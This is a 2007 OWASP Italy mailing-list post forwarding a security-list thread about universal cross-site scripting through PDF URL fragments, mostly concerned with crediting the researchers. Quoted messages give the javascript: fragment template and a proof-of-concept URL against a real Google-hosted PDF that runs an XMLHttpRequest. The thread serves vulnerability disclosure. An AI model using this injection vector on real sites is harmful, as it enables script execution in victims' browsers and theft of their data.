[Owasp-italy] [WEB SECURITY] Universal XSS with PDF files: highly dangerous

Matteo Meucci matteo.meucci at gmail.com
Wed Jan 3 12:39:54 EST 2007


Scusate...
manca il dettaglio più importante:

	from	 	sven.vetsch at disenchant.ch <sven.vetsch at disenchant.ch> 		 hide
details	 9:37 am (9 hours ago)
	to	 	"pdp (architect)" <pdp.gnucitizen at googlemail.com>	
	cc	

 	full-disclosure at lists.grok.org.uk,
bugtraq at securityfocus.com,
Web Security <websecurity at webappsec.org>	
	date		Jan 3, 2007 9:37 AM	
	subject		Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous	
	mailed-by		securityfocus.com	
Quoting "pdp (architect)" <pdp.gnucitizen at googlemail.com>:

> This finding was originally mentioned by Sven Vetsch, on his blog.
> This is a very good and quite interesting. Good work.

Sorry about that but that's wrong. All the credits have to go to Stefano Di
Paola and Giorgio Fedon. They presented that stuff at the 23C3 in Berlin. The
only thing that I did was an overview and I found out, that it doesn't matter
how the parameter is called. I "just" forgot to copy paste the credits from my
original document, to the blog entry. I'm very sorry about that and of course I
putted it in my entry now.

Regards,
Disenchant / Sven Vetsch

On 1/3/07, Matteo Meucci <matteo.meucci at gmail.com> wrote:
> FYI.
>
> Applausi copiosi alla coppia Di Paola - Fedon che hanno presentato
> "Subverting AJAX" al 23-esimo CCC e sono già celebrità!
>
> Per approfondimenti:
> http://events.ccc.de/congress/2006/Fahrplan/events/1602.en.html
>
> Buon anno!
> Mat
>
> ---------- Forwarded message ----------
> From: sven.vetsch at disenchant.ch <sven.vetsch at disenchant.ch>
> Date: Jan 3, 2007 9:37 AM
> Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
> To: "pdp (architect)" <pdp.gnucitizen at googlemail.com>
> Cc: full-disclosure at lists.grok.org.uk, bugtraq at securityfocus.com, Web
> Security <websecurity at webappsec.org>
>
>
> Quoting "pdp (architect)" <pdp.gnucitizen at googlemail.com>:
>
> > This finding was originally mentioned by Sven Vetsch, on his blog.
> > This is a very good and quite interesting. Good work.
>
> Sorry about that but that's wrong. All the credits have to go to Stefano Di
> Paola and Giorgio Fedon. They presented that stuff at the 23C3 in Berlin. The
> only thing that I did was an overview and I found out, that it doesn't matter
> how the parameter is called. I "just" forgot to copy paste the credits from my
> original document, to the blog entry. I'm very sorry about that and of course I
> putted it in my entry now.
>
> Regards,
> Disenchant / Sven Vetsch
>
> ---------- Forwarded message ----------
> Amit Klein <aksecurity at gmail.com>
>
> pdp (architect) wrote:
> > I will be very quick and just point to links where you can read about
> > this issue.
> >
> > It seams that PDF documents can execute JavaScript code for no
> > apparent reason by using the following template:
> >
> >
> > http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
> >
> >
> > You must understand that the attacker doesn't need to have write
> > access to the specified PDF document. In order to get an XSS vector
> > working you need to have a PDF file hosted on the target and that's
> > all about it. The rest is just a matter of your abilities and desires.
> >
> Amazing, and kudos to Sven Vetsch who found this.
>
> Note that from attack categorization perspective, it appears to be a
> twisted example of DOM based XSS
> (http://www.webappsec.org/projects/articles/071105.shtml). I suppose PDF
> retrieves the URL from the browser (probably from a degenerate DOM the
> browser provides it - after all, the document object is available to the
> payload JS code!), parses it and uses the fragment. Since fragments are
> used, the payload doesn't travel to the target web server (!). I
> mentioned the possible use of fragments as a particularly nasty attack
> vector (impossible to detect on server) in the "DOM based XSS" writeup.
>
> -Amit
>
> ---------- Forwarded message ----------
> pdp (architect) <pdp.gnucitizen at googlemail.com>
>
> I will be very quick and just point to links where you can read about
> this issue.
>
> It seams that PDF documents can execute JavaScript code for no
> apparent reason by using the following template:
>
>    http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
>
> You must understand that the attacker doesn't need to have write
> access to the specified PDF document. In order to get an XSS vector
> working you need to have a PDF file hosted on the target and that's
> all about it. The rest is just a matter of your abilities and desires.
>
> This finding was originally mentioned by Sven Vetsch, on his blog.
> This is a very good and quite interesting. Good work.
>
> There is a POC I composed:
>
> http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
>
> More on the matter can be found here:
>
> http://www.gnucitizen.org/blog/danger-danger-danger/
> http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
>
> --
> pdp (architect) | petko d. petkov
> http://www.gnucitizen.org
>


-- 
Matteo Meucci
OWASP-Italy Chair, CISSP, CISA
http://www.owasp.org/index.php/Italy
OWASP Testing Guide AoC lead
http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide


More information about the Owasp-italy mailing list